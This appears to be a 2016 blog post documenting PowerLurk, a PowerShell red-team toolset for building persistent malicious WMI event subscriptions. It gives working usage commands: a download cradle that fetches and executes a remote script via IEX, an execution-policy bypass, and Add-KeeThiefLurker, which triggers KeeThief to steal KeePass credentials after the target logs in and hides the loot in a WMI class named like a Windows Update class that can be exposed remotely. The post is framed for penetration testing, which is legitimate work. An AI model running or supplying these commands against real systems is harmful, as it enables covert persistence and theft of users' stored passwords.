PowerLurk - Malicious WMI Events using PowerShell

Tuesday, October 11, 2016


PowerLurk is a PowerShell toolset for building malicious WMI Event Subsriptions. The goal is to make WMI events easier to fire off during a penetration test or red team engagement. Please see my post Creeping on Users with WMI Events: Introducing PowerLurk for more detailed information: https://pentestarmoury.com/2016/07/13/151/

To use PowerLurk, you must import the PowerLurk.ps1 module into your instance of PowerShell. This can be done a couple of ways:
Import locally
    PS> powershell.exe -NoP -Exec ByPass -C Import-Module c:\\temp\\PowerLurk.ps1   
Download Cradle
    PS> powershell.exe -NoP -C "IEX (New-Object Net.WebClient).DownloadString('http://<IP>/PowerLurk.ps1'); Get-WmiEvent"   

Get-WmiEvent
By default, Get-WmiEvent queries WMI for all __FilterToConsumerBinding instances and associated __EventFilter, and __EventConsumer instances. Objects returned can be deleted by piping to Remove-WmiObject.
Return all active WMI event objects with the name 'RedTeamEvent'
    Get-WmiEvent -Name RedTeamEvent   
Delete 'RedTeamEvent' WMI event objects
    Get-WmiEvent -Name RedTeamEvent | Remove-WmiObject   

Register-MaliciousWmiEvent
This cmdlet is the core of PowerLurk. It takes a command, script, or scriptblock as the action and a precanned trigger then creates the WMI Filter, Consumer, and FilterToConsumerBinding required for a fully functional Permanent WMI Event Subscription. A number of WMI event triggers, or filters, are preconfigured. The trigger must be specified with the -Trigger parameter. There are three consumers to choose from, PermanentCommand, PermanentScript, and LocalScriptBLock. Example usage:
Write the notepad.exe process ID to C:\temp\log.txt whenever notepad.exe starts
    Register-MaliciousWmiEvent -EventName LogNotepad -PermanentCommand “cmd.exe /c echo %ProcessId% >> c:\\temp\\log.txt” -Trigger ProcessStart -ProcessName notepad.exe   
Cleanup Malicious WMI Event
    Get-WmiEvent -Name LogNotepad | Remove-WmiObject   

Add-KeeThiefLurker
creates a permanent WMI event that will execute KeeThief (See @Harmj0y's KeeThief at https://github.com/adaptivethreat/KeeThief ) 4 minutes after the 'keepass' process starts. This gives the target time to log into their KeePass database.
The KeeThief logic and its output are either stored in a custom WMI namespace and class or regsitry values. If a custom WMI namespace and class are selected, you have the option to expose that namespace so that it can be read remotely by 'Everyone'. Registry path and value names are customizable using the associated switches; however, this is optional as defaults are set. Example usage:
Add KeeThiefLurker event using WMI class storage
    Add-KeeThiefLurker -EventName KeeThief -WMI   
Query custom WMI class
    Get-WmiObject -Namespace root\software win32_WindowsUpdate -List   
Extract KeeThief output from WMI class
    [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($(Get-WmiObject -Namespace root\software win32_WindowsUpdate -List).Properties['Output'].value))   
Cleanup KeeThiefLurker
    Remove-KeeThiefLurker -EventName KeeThief -WMI   




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